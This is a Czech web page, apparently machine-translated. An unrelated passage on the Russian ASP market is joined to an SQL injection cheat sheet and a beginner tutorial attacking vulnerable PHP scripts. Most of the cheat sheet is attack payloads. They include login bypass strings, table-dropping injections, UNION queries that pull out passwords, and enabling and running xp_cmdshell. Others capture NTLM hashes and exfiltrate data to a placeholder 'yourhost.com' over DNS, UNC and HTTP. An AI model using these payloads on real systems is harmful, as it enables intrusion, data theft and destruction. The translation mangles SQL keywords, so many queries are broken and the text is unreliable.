Programování ovládání přihlášení. Jak můžete provádět příkazy vzdáleně pomocí SQL injection

V současné době nelze říci, že by se v Rusku vytvořil plnohodnotný trh ASP. Ruští uživatelé z velké části stále nevnímají koncept ASP jako užitečný pro své podnikání. Aktuálně (v době psaní tohoto článku) ruský trh Neexistuje jediný úspěšný příklad úplné implementace modelu ASP ve velkém podniku. Ve skutečnosti existuje pouze hosting, jednotlivé implementované prvky modelu ASP, společnosti, které se chtějí věnovat podnikání ASP atd. To znamená, že v Rusku zatím žádná implementace klasického modelu ASP neexistuje.

Nyní na ruském trhu je model ASP použitelný pouze pro personalizované e-mailové služby (Mail.ru, Beep.ru, Freemail.ru atd.) a specializované high-tech služby (například bannery a vyhledávače, internetové statistické systémy , atd.) . Pronájem poštovních služeb přitom neznamená pouze poskytnutí osobní schránky každému jednotlivému uživateli. Bezplatné e-mailové servery jsou široce používány v podnikovém sektoru malými podniky a soukromými podnikateli. Hlavními klienty těchto služeb jsou společnosti, které chtějí organizovat firemní e-mailovou službu (nebo automatizovat tok firemních dokumentů) nebo poskytovatelé internetu (například portály Rambler.ru, Yandex.ru atd.), kteří chtějí organizovat bezplatnou webovou poštovní službu. pro jejich publikum.

Mezi ruskými uživateli je jistý zájem o pronájem elektronických obchodů (vitríny na elektronické obchodní platformě). A to je celkem pochopitelné. Protože v Rusku stále existuje velmi, velmi málo úspěšných příkladů online obchodování (navzdory hlasitým prohlášením řady společností o jejich působivých úspěších), zdá se nejrozumnější utratit řádově méně peněz za pronájem elektronického obchodu (než nákup a údržba). Pokud projekt selže, lze jej celkem rychle a bez výrazných ztrát uzavřít. Pronájem ERP aplikací, který je na Západě rozšířený, je nyní v Rusku pouze ve fázi pilotních projektů.

Mezi aplikace nabízené k pronájmu patří jak relativně jednoduché kancelářské balíky (např. MS Office), tak složitější aplikace (např. Lotus Smart Suite), stejně jako ERP systémy (např. Navision Axapta).

Hlavní problémy a rysy ruského trhu ASP.

10.2 Problémy na ruském trhu.

V současné době ruský trh ASP zaostává za globálním trhem ASP minimálně o několik let. Zárodečný stav ruského trhu ASP je způsoben řadou problémů, které na něm existují. Hlavní z těchto problémů jsou:

1. Obecné zaostávání ruské ekonomiky od západní a nerozvinutá technická infrastruktura podniků. Až dosud většina ruských podniků funguje na technické infrastruktuře vytvořené před desítkami let. V současné době jsou investice podniků do jeho modernizace stále nedostatečné. A zde je problém spíše finanční priority podniků, protože ne všechny mohou investovat potřebné prostředky do modernizace technické infrastruktury. Své aktuální problémy proto musí řešit pomocí stávající infrastruktury.

2.Nízká poptávka po službách ASP. Obyvatelstvo a firemní klienti nejsou připraveni (většinou) platit za služby ASP. Zatímco průměrný ruský spotřebitel má nyní prostě naléhavější a životnější priority v oblasti výdajů, firemní uživatelé zatím neberou služby ASP vážně.

3. Slabost legislativního rámce pro elektronický trh. Dokud nebude přijat celý balík zákonů, není třeba hovořit o rozvoji elektronického trhu (včetně ASP).

4. Uzavřenost účetního výkaznictví korporátních klientů (zejména nejsolventnějších podniků).

5. Odpor IT oddělení (explicitní i implicitní) velkých společností, které se musí přeorientovat na jiné úkoly, snižovat zaměstnance a IT rozpočty atp.

6. Malý počet aplikací, které lze použít v modelu ASP pro ruské podniky.

7. Přítomnost poměrně velkého počtu začínajících a středních IT specialistů s relativně nízkými platy na ruském trhu práce. Po krizi v roce 1998 zůstala naprostá většina platů IT specialistů na stejné pokrizové úrovni. Pro malé a střední firmy je někdy levnější udržovat si vlastní IT služby, než platit za služby ASP (na rozdíl od západních firem, kde je situace přesně opačná).

SQL injection cheat sheet vytvořený pro souhrnný popis technické vlastnosti různé typy Chyby zabezpečení SQL injection. Článek představuje vlastnosti SQL injekcí v MySQL, Microsoft SQL Server, VĚŠTEC A PostgreSQL.

0. Úvod
V tomto článku najdete podrobné technické informace o různých typech SQL injekcí. Může být užitečný jak pro zkušené specialisty, tak pro nováčky v oblasti informační bezpečnosti.

V tuto chvíli poznámka obsahuje informace pouze pro MySQL, Microsoft SQL Server a některá data pro ORACLE a PostgreSQL. Sekce obsahují syntaxi injekce, vysvětlení a příklady.

Použité symboly:
M (MySQL);
S (SQL Server);
O (Oracle);
P (PostgreSQL);
+ (případně na jiných databázích);
* (vyžadují se zvláštní podmínky).

1. Řádkové komentáře
Komentáře jsou obecně užitečné pro ignorování části dotazu.
Syntax:
-- (SM): DROP sampletable;--
# (M): DROP sampletable;#
Příklad:
Uživatelské jméno: admin" --
Vygenerovaný dotaz: SELECT * FROM členů WHERE uživatelské jméno = "admin"--" A heslo = "heslo"
To vám umožní přihlásit se jako uživatel admin a obejít kontrolu hesla.

2. Blokovat komentáře
S jejich pomocí můžete ignorovat část požadavku, nahradit mezery, obejít blacklisty a určit verzi databáze.
Syntax:
/*Komentář*/ (SM):
DROP/*komentář*/vzorkovatelný
DR/**/OP/*bypass_blacklist*/sampletable
SELECT/*nahradit_mezer*/heslo/**/FROM/**/Členové

/*! MYSQL speciální SQL */ (M): SELECT /*!32302 1/0, */ 1 FROM název tabulky
Toto je speciální syntaxe komentářů pro MySQL. Umožňuje vám zjistit verzi MySQL. Tento komentář bude fungovat pouze v MySQL
Příklady:
ID: 10; Členové DROP TABLE /*
Zbytek požadavku ignorujeme, stejně jako řádkový komentář.

ID: /*!32302 10*/
dostanete stejnou odpověď jako s ID=10, pokud je verze MySQL vyšší než 3.23.02

ID: /*!32302 1/0, */
Vygenerovaný dotaz: SELECT /*!32302 1/0, */ 1 FROM název_tabulky
Pokud má server verzi MySQL vyšší než 3.23.02, dojde k chybě dělení 0

3. Posloupnost žádostí
Umožňuje spustit více než jeden požadavek najednou. To je užitečné v jakémkoli místě vstřikování.


Zelená - podporována; černá - není podporována; šedá - neznámá.
Syntax:
; (S): SELECT * FROM členů; Členové DROP--
Jedna žádost skončila, další začala.
Příklad:
ID: 10;Členové DROP --
Generovaný dotaz: SELECT * FROM produktů WHERE id = 10; Členové DROP--
Tento dotaz zruší tabulku členů po normálním dotazu.

4. Podmíněné příkazy
Při splnění podmínky obdržíme odpověď na žádost. To je jeden z klíčových bodů slepé injekce. Pomáhá také přesně kontrolovat jednoduché věci.
Syntax:
IF(podmínka, pravdivá část, nepravdivá část) (M): SELECT IF(1=1,"true","false")
IF podmínka pravdivá-část ELSE nepravdivá-část (S): IF (1=1) SELECT "pravda" ELSE SELECT "nepravda"
IF podmínka THEN pravdivá část; JINAK falešná část; ENDIF; KONEC; (O): IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); ENDIF; KONEC;
SELECT CASE WHEN podmínka THEN pravdivá část ELSE nepravdivá část END; (P): SELECT CASE WHEN (1=1) THEN "A" ELSE "B" END;
příklad:
if ((vyberte uživatele) = "sa" NEBO (vyberte uživatele) = "dbo") vyberte 1 jinak vyberte 1/0 (S)
vyvolá dělení nulovou chybou, pokud současný uživatel ne "sa" nebo "dbo".

5. Použití čísel
Používá se k obcházení magic_quotes() a podobných filtrů, včetně WAF.
Syntax:
0xHEX_NUMBER (SM):
SELECT CHAR(0x66) (S)
SELECT 0x5045 (toto není číslo, ale řetězec) (M)
SELECT 0x50 + 0x45 (nyní je to číslo) (M)
Příklady:
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
Zobrazuje obsah souboru c:\boot.ini

6. Zřetězení řetězců
Řetězcové operace mohou pomoci obejít filtry nebo identifikovat databázi.
Syntax:
+ (S): SELECT login + "-" + heslo FROM členů
|| (*MO): VYBERTE přihlášení || "-" || heslo FROM členů
Bude fungovat, pokud MySQL běží v režimu ANSI. Jinak to MySQL nepřijme jako logický operátor a vrátí 0. V MySQL je lepší použít funkci CONCAT().

CONCAT(str1, str2, str3, …) (M): SELECT CONCAT(přihlášení, heslo) FROM členů

7. Řetězce bez uvozovek
Existuje několik způsobů, jak se vyhnout používání uvozovek v dotazu, například pomocí CHAR() (MS) a CONCAT() (M).
Syntax:
SELECT 0x457578 (M)

MySQL má jednoduchý způsob, jak reprezentovat řetězec jako hexadecimální kód:
SELECT CONCAT("0x",HEX("c:\\boot.ini"))

Vrátí řetězec „KLM“:
SELECT CONCAT(CHAR(75);CHAR(76);CHAR(77)) (M)
SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
SELECT CHR(75)||CHR(76)||CHR(77) (O)
SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. Převod řetězců a čísel.
Syntax:
ASCII() (SMP): SELECT ASCII("a")
Vrátí kód ASCII znaku zcela vlevo. Funkce se používá pro slepé injekce.

CHAR() (SM): SELECT CHAR(64)
Přeloží ASCII kód ​​na odpovídající znak.

9. Operátor UNION
Pomocí operátoru UNION se můžete dotazovat na průnik tabulek. V zásadě můžete odeslat dotaz, který vrátí hodnotu z jiné tabulky.
Příklad:
SELECT hlavička, txt FROM news UNION ALL SELECT jméno, pass FROM členů
Tím se sloučí výsledky z tabulek zpráv a členů

10. Authentication Bypass (SMO+)
Příklady:
admin" --
admin" #
admin"/*
"nebo 1=1--
"nebo 1=1#
"nebo 1=1/*
") nebo "1"="1--
") nebo ("1"="1--

11. Vynechejte ověřování MD5
Pokud aplikace nejprve porovná uživatelské jméno a poté porovná md5 hash hesla, budete potřebovat další triky, jak obejít autentizaci. Výsledky můžete spojit se známým heslem a jeho hashem.
Příklad (MSP):
Uživatelské jméno: admin
Heslo: 1234 " AND 1=0 UNION ALL SELECT "admin", "
= MD5(1234)

12. Na základě chyb
12.1 Definování sloupců pomocí HAVING BY(S)
Příklad:
Ve stejném pořadí
"MÍT 1=1 --
" GROUP BY table.columnfromerror1 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror3 HAVING 1=1 –
…………….
Pokračujte, dokud nepřestanete dostávat chyby.

12.2 Určení počtu sloupců pomocí ORDER BY (MSO+)
Zjištění počtu sloupců pomocí ORDER BY lze urychlit pomocí UNION injection.
OBJEDNEJTE DO 1--
OBJEDNEJTE DO 2--
OBJEDNEJTE DO 3-
………………..
Pokračujte, dokud se nezobrazí chybová zpráva. Tím bude uveden počet sloupců.

13. Definice datového typu
Vždy používejte UNION s ALL.
Chcete-li se zbavit zbytečné položky tabulky, použijte -1 na jakékoli neexistující hodnoty na začátku dotazu (pokud je injekce v parametru WHERE). To je důležité, pokud můžete načíst pouze jednu hodnotu najednou.
Použijte NULL v UNION injekci místo pokusu uhodnout řetězec, datum, číslo atd. Ale buďte opatrní při aplikaci injekce naslepo, protože... možná si pletete chybu databáze se samotnou aplikací. Některé jazyky, jako je ASP.NET, generují chybu při použití hodnoty NULL (protože vývojáři neočekávali, že v poli uživatelského jména uvidí hodnotu null)
Příklady:
" union select sum(columntofind) od uživatelů-- (S) :
Pokud se nezobrazí chybová zpráva, je sloupec číselný.

SELECT * FROM Tabulka1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL --
Můžete použít CAST() nebo CONVERT()

11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –
Pokud není chyba, pak je syntaxe správná, tzn. Používá se MS SQL Server.

11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –
Pokud není žádná chyba, pak je v prvním sloupci číslo.

11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –
Pokud se objeví chyba, pak druhý sloupec není číslo.

11223344) UNION SELECT 1,‘2‘,NULL,NULL WHERE 1=2 –
Pokud není žádná chyba, pak je druhý sloupec řetězec.
……………..

14. Jednoduchá vložka (MSO+)
Příklad:
"; vložte do uživatelů hodnoty (1, "hax0r", "coolpass", 9)/*

15. Sběr informací
Syntax:
@@ verze (MS)
Zjistíte verzi databáze a podrobnější informace.
Příklad:
INSERT INTO members(id, user, pass) VALUES(1, ""+SUBSTRING(@@version,1,10) ,10)

16. Komplexní vložka (S)
Umožňuje vložit obsah souboru do tabulky. Pokud neznáte vnitřní cestu webové aplikace, můžete si přečíst metabázi IIS (pouze IIS 6).
Syntax:
soubor (%systemroot%\system32\inetsrv\MetaBase.xml)
Pak v něm najdete cesty aplikace.
Příklad:
1. Vytvořte tabulku foo (typ řetězce varchar(8000))
2. Vložte obsah souboru ‚c:\inetpub\wwwroot\login.asp‘ do tabulky foo
3. Zrušte dočasnou tabulku a opakujte pro jiný soubor.

17. BCP (S)
Zapisuje textový soubor. To vyžaduje pověření.
Příklad:
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. VBS, WSH v SQL Server (S)
V SQL Serveru můžete použít VBS, WSH skripty.
Příklad:
Uživatelské jméno:"; deklarujte @o int exec sp_oacreate "wscript.shell", @o out exec sp_oamethod @o, "run", NULL, "notepad.exe" –

19. Provádějte systémové příkazy (S)
Známý trik, tato funkce je ve výchozím nastavení v SQL Server 2005 zakázána. Potřebujete administrátorská práva.
Příklad:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping"

20. Speciální tabulky v SQL Server (S)
Příklady:
Chybové zprávy: master..sysmessages
Propojené servery: master..sysservers
Heslo SQL Server 2000: masters..sysxlogins
Heslo SQL Server 2005: sys.sql_logins

21. Více uložených procedur pro SQL Server (S)
Syntax:
Cmd Execute (xp_cmdshell)
Položky registru (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemmultistring
xp_regwrite
Správa služeb (xp_servicecontrol)
Média (xp_availablemedia)
Zdroje ODBC (xp_enumdsn)
Režim přihlášení (xp_loginconfig)
Vytváření souborů Cab (xp_makecab)
Výčet domén (xp_ntsec_enumdomains)
Process Killing (požadováno PID) (xp_terminate_process)
Přidat nový postup (sp_addextendedproc)
Zapište textový soubor do UNC nebo interní cesty (sp_makewebtask)
Příklady:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\lanmanserver\parameters", "nullsessionshares"
exec xp_regenumvalues ​​​​HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities"
sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
exec xp_webserver

22. Hromadné poznámky MSSQL
Příklady:
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @výsledek = xp_cmdshell "dir *.exe";IF (@výsledek = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) – http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. SQL injection v LIMIT (M) dotazech
Příklad:
SELECT id, produkt FROM test.test LIMIT 0,0 UNION ALL SELECT 1,"x"/*,10 ;
Chcete-li obejít operátor LIMIT, můžete použít UNION nebo komentář.

24. Vypnutí serveru SQL Server (S)
Příklad:
";vypnout -

25. Povolení xp_cmdshell v SQL Server 2005
Syntax:
Ve výchozím nastavení je xp_cmdshell a několik dalších potenciálně nebezpečných funkcí v SQL Server 2005 zakázáno. Pokud máte práva správce, můžete je povolit.
EXEC sp_configure "zobrazit pokročilé možnosti",1
PŘENASTAVIT
EXEC sp_configure "xp_cmdshell",1
PŘENASTAVIT

26. Hledání struktury databáze v SQL Server (S)
Příklady:
SELECT jméno FROM sysobjects WHERE xtype = "U"

SELECT jméno FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "tablenameforcolumnnames")
Získání názvů sloupců

27. Pohyblivé záznamy (S)
Příklady:
... TAM, KDE NENÍ VSTUPU ("První uživatel", "Druhý uživatel")
Použijte WHERE s NOT IN nebo NOT EXIST

VYBERTE TOP 1 jméno FROM členů WHERE NOT EXIST(SELECT TOP 0 name FROM členů)

SELECT * FROM Produkt WHERE ID=2 AND 1=CAST((Vyberte p.name z (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id)
AS x, jméno ze sysobjects o) jako p kde p.x=3) jako int

Vyberte p.name z (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype="U" a i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. Rychlý způsob, jak extrahovat data z Error Based SQL injection v SQL Server (S)
";BEGIN DECLARE @rt varchar(8000) SET @rd=":" SELECT @rd=@rd+" "+jméno FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "MEMBERS") AND jméno>@rd SELECT @rd AS rd do konce TMP_SYS_TMP;--

29. Hledání struktury databáze v MySQL (M)
Příklady:
SELECT název_tabulky FROM schéma_informace.tabulky WHERE schéma_tabulky = "název tabulky"
Získání vlastních tabulek

SELECT název_tabulky, název_sloupce FROM information_schema.columns WHERE schéma_tabulky = "název_tabulky"
Získání názvů sloupců

30. Hledání struktury databáze v Oracle (O)
Příklady:
SELECT * FROM all_tables WHERE OWNER = "DATABASE_NAME"
Získání vlastních tabulek

SELECT * FROM all_col_comments WHERE TABLE_NAME = "TABLE"
Získání názvů sloupců

31. Slepé injekce
V kvalitní aplikaci neuvidíte chybové zprávy. Nebudete moci používat operátora UNION a útoky založené na chybách. K extrahování dat budete muset použít slepou injekci SQL. Existují dva typy slepých injekcí.
Pravidelná slepá injekce: výsledky požadavků na stránce nevidíte, ale výsledek můžete určit z odpovědi nebo stavu HTTP.
Zcela slepé vstřikování: Neuvidíte žádný rozdíl ve výkonu.
V normálních slepých injekcích můžete použít příkazy IF a WHERE, v plně slepých injekcích musíte použít některé funkce čekání a porovnat dobu odezvy. K tomu můžete použít WAIT FOR DELAY '0:0:10' v SQL Server, BENCHMARK() a sleep(10) v MySQL, pg_sleep(10) v PostgreSQL.
Příklad:
Tento příklad je založen na reálném provozu slepého vkládání na SQL Server.

TRUE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>78--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>103--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>89--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>83--

TRUE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>79--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>80--

Na základě posledních dvou dotazů víme přesně hodnotu prvního znaku v ascii - je to 80. To znamená, že první znak je `P`. Můžeme tak zjistit názvy tabulek a jejich obsah. Dalším způsobem je číst data bit po bitu.

32. Zcela slepá injekce
Tuto metodu použijte pouze v případě skutečně slepé injekce. Buďte opatrní s čekacími dobami.
Syntax:
WAIT FOR DELAY "time" (S)
Funkce jednoduše čeká zadanou dobu bez zatížení procesoru.
Příklady:
if (vyberte uživatele) = "sa" čekání na zpoždění "0:0:10"
ProductID =1;čekejte na zpoždění "0:0:10"--
ProductID =1);waitfor delay "0:0:10"--
ProductID =1";waitfor delay "0:0:10"--
ProductID =1");waitfor delay "0:0:10"--
ProductID =1));waitfor delay "0:0:10"--
ProductID =1"));waitfor delay "0:0:10"--
Syntax:
BENCHMARK(kolikrát, udělej to) (M)
Příklad:
POKUD EXISTUJE (SELECT * FROM users WHERE username = "root") BENCHMARK(1000000000,MD5(1))
Zkontrolujeme přítomnost uživatele root.

IF (VYBRAT * Z přihlášení) BENCHMARK(1000000,MD5(1))
Kontrola existence tabulky v MySQL
Syntax:
pg_sleep(sekundy) (P)
Spánek na dodané sekundy.

spánek (sekundy) (M)
spát na dodané sekundy.

bms_pipe.receive_message (O)
spát na dodané sekundy.
Příklad:
(VYBERTE PŘÍPAD KDYŽ (NVL(ASCII(SUBSTR(((INJECTION)),1,1)),0) = 100) THEN dbms_pipe.receive_message(("xyz"),10) ELSE dbms_pipe.receive_message(("xyz" ),1) KONEC Z duálního)
(INJEKCE) – váš požadavek.
Pokud je podmínka pravdivá, odpověď bude 10 sekund. Jinak bude odpověď 1 sekunda.

33. Užitečné funkce MySQL
Syntax:
MD5()
SHA1()
HESLO()
ZAKÓDOVAT()
KOMPRIMOVAT()
ROW_COUNT()
SCHÉMA()
VERZE()

34. SQL injekce druhého řádu
Obvykle byste vložili dotaz SQL injection do pole a očekávali byste, že nebude odfiltrován.
Příklad:
Jméno: " + (VYBRAT TOP 1 heslo Z uživatelů) + "
E-mailem: [e-mail chráněný]
Pokud aplikace používá název pole uložené procedury nebo funkce, můžete ji použít pro injekci.

35. Použití SQL Server k extrahování NTLM hash
Tento útok vám pomůže získat heslo uživatele systému Windows cílového serveru prostřednictvím serveru SQL, pokud není přístup zvenčí. Můžeme donutit SQL Server, aby se připojil k Windows přes cestu UNC a extrahovat NTLM relaci pomocí speciálních nástrojů, jako je Cain & Abel.

Syntax:
Cesta UNC: "\\VAŠEIPADRESA\C$\x.txt"
36. Další příklady injekcí
SQL Server:
?vulnerableParam=1; SELECT * FROM OPENROWSET("SQLOLEDB", ((INJECTION))+".yourhost.com";"sa";"pwd", "SELECT 1")

?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = "\\"+((INJECTION))+".yourhost.com\\test.txt"; EXEC master..xp_dirtree @q
vytvoří DNS dotaz na (INJECTION).yourhost.com

(INJEKCE) - váš požadavek.
MySQL:
?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat("\\\\",((INJECTION)), "yourhost.com\\"))))
Vytvoří požadavek NBNS/DNS na yourhost.com
?vulnerableParam=-99 NEBO (VYBRAT ((INJECTION)) DO OUTFILE "\\\\yourhost.com\\share\\output.txt")
Zapíše data do vašeho souboru
(INJEKCE) - váš požadavek.
Věštec:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://hostitel/ sniff.php?sniff="||((INJECTION))||"") Z DUAL)
Čichač uloží výsledky
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://hostitel/ "||((INJECTION))||".html") Z DUAL)
Výsledky se uloží do protokolů HTTP
?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(((INJECTION))||".yourhost.com") Z DUAL)

?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(((INJECTION))||’.yourhost.com’,80) Z DUAL)
Musíte analyzovat provoz požadavků DNS na yourhost.com
(INJEKCE) - váš požadavek.

Tento materiál je adaptivním překladem článku SQL Injection Cheat Sheet.

Zdravím vás, čtenáři. V poslední době se zajímám o webovou bezpečnost a do jisté míry s tím souvisí i moje práce. Protože Stále častěji jsem si začal všímat témat na různých fórech, která se jich ptala, aby ukázali, jak to celé funguje, a tak jsem se rozhodl napsat článek. Článek bude zaměřen na ty, kteří se s tím nesetkali, ale rádi by se poučili. Článků na toto téma je na internetu relativně hodně, ale pro začátečníky jsou trochu složité. Pokusím se vše popsat srozumitelným jazykem a podrobnými příklady.

Předmluva

Abyste tomuto článku porozuměli, nepotřebujete ve skutečnosti znalost jazyka SQL, ale alespoň dobrou trpělivost a trochu mozku na zapamatování.

Věřím, že pouhé přečtení článku nebude stačit, protože... potřebujeme živé příklady - jak víte, praxe v procesu zapamatování není nikdy nadbytečná. Proto budeme psát zranitelné skripty a trénovat na nich.

Co je SQL injection?
Zjednodušeně se jedná o útok na databázi, který vám umožní provést nějakou akci, kterou tvůrce scénáře neplánoval. Příklad ze života:

Otec napsal své matce, aby dala Vasyovi 100 rublů a položila ji na stůl. Přepracováním do komiksového jazyka SQL dostaneme:
Vezmi 100 RUBLŮ Z PENĚŽENKY A DEJ JE Vasyovi

Vzhledem k tomu, že otec napsal dopis špatně (nemotorný rukopis) a nechal ho na stole, viděl to Vasyin bratr Petya. Petya jako hacker tam přidal „NEBO Pete“ a výsledkem byl následující požadavek:
Vezmi 100 RUBLŮ Z SVÉ PENĚŽENKY A DEJ JE Vasyovi NEBO Péťovi

Máma se po přečtení poznámky rozhodla, že včera dala peníze Vasyovi a dala 100 rublů Petyi. Tady je jednoduchý příklad SQL injection ze života:) Bez filtrování dat (máma sotva rozuměla rukopisu) Péťa vydělal.

Příprava
Pro procvičení budete potřebovat archiv se zdrojovými skripty k tomuto článku. Stáhněte si jej a rozbalte na serveru. Také importujte databázi a nastavte data v souboru cfg.php

Vyhledávání SQL injection

Jak jste již pochopili, injekce pochází z příchozích dat, která nejsou filtrována. Nejčastější chybou je nefiltrování přenášeného ID. Zhruba řečeno, dávejte uvozovky do všech polí. Ať už je to požadavek GET/POST nebo dokonce cookie!

Numerický vstupní parametr
Pro cvičení potřebujeme skript index1.php. Jak jsem řekl výše, do ID zpráv vkládáme uvozovky.

Protože Náš požadavek nemá žádné filtrování:

$id = $_GET["id"]; $query = "VYBRAT * Z novinek WHERE id=$id";

Skript to pochopí jako

SELECT * FROM news WHERE id=1"

A vypíše nám to chybu:
Upozornění: mysql_fetch_array() očekává, že parametr 1 bude zdrojem, booleovský zadaný v C:\WebServ\domains\sqlinj\index1.php na řádku 16

Pokud se chyba nezobrazí, mohou to být následující důvody:

1.SQL injection zde není – uvozovky jsou filtrovány, nebo se na ně prostě vyplatí převést (int)
2. Chybový výstup je deaktivován.

Pokud se stále zobrazuje chyba - Hurá! Našli jsme první typ SQL injection - Numerický vstupní parametr.

Vstupní parametr řetězce

Žádosti budeme zasílat na index2.php. V tomto souboru žádost vypadá takto:
$user = $_GET["uživatel"]; $query = "VYBRAT * Z novinek WHERE user="$user"";

Zde vybíráme novinky podle uživatelského jména a opět nefiltrujeme.
Opět zasíláme poptávku s cenovou nabídkou:

Vypsalo to chybu. OK! To znamená, že existuje zranitelnost. Pro začátek nám to stačí – pojďme do praxe.

Pojďme jednat

Trochu teorie

Pravděpodobně se nemůžete dočkat, až z toho dostanete něco jiného než chyby. Nejprve si uvědomte, že znak " -- " je v SQL považován za komentář.

POZORNOST! Před a za ním musí být mezery. V URL jsou přenášeny jako %20

Vše, co následuje po komentáři, bude zahozeno. Tedy požadavek:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

To se podaří. Můžete to zkusit na skriptu index2.php odesláním požadavku, jako je tento:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Naučte se parametr SVAZ. V jazyce SQL klíčové slovo SVAZ slouží ke spojení výsledků dvou SQL dotazů do jediné tabulky. To znamená, abychom z jiného stolu vytáhli něco, co potřebujeme.

Pojďme toho využít

Pokud je parametr „Číselný“, pak nemusíme v poptávce zasílat cenovou nabídku a samozřejmě na konec uvést komentář. Vraťme se ke scénáři index1.php.

Vraťme se ke skriptu sqlinj/index1.php?id=1 UNION SELECT 1 . Náš databázový dotaz vypadá takto:
SELECT * FROM news WHERE id=1 UNION SELECT 1
A dal nám chybu, protože... pro práci se slučovacími dotazy potřebujeme stejný počet polí.

Protože Jejich počet v prvním požadavku ovlivnit nemůžeme, v druhém pak musíme jejich počet vybrat tak, aby se rovnal prvnímu.

Výběr počtu polí

Výběr polí je velmi jednoduchý, stačí zaslat následující požadavky:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Chyba…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Opět chyba!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Žádná chyba! To znamená, že počet sloupců je 5.

SKUPINA VYTVOŘENÁ
Často se stává, že polí může být 20 nebo 40 nebo dokonce 60. Abychom je nemuseli pokaždé třídit, použijeme SKUPINA VYTVOŘENÁ

Pokud žádost
sqlinj/index1.php?id=1 GROUP BY 2
nezobrazilo žádné chyby, což znamená, že počet polí je větší než 2. Zkusme:

Sqlinj/index1.php?id=1 GROUP BY 8
Op, vidíme chybu, to znamená, že počet polí je menší než 8.

Pokud u GROUP BY 4 není žádná chyba a u GROUP BY 6 je chyba, pak je počet polí 5

Definování výstupních sloupců
Aby se nám od prvního požadavku nic nezobrazilo, stačí nahradit neexistující ID, například:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


Touto akcí jsme určili, které sloupce se na stránce zobrazí. Nyní, abyste tato čísla nahradili potřebnými informacemi, musíte v požadavku pokračovat.

Výstup dat

Řekněme, že víme, že tabulka stále existuje uživatelů ve kterých pole existují id, název A složit.
Potřebujeme získat informace o uživateli s ID=1

Proto sestavme následující dotaz:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Skript také pokračuje ve výstupu

K tomu dosadíme názvy polí místo čísel 1 a 3

Sqlinj/index1.php?id=-1 název UNION SELECT,2,pass,4,5 FROM users WHERE id=1
Dostali jsme, co jsme potřebovali!

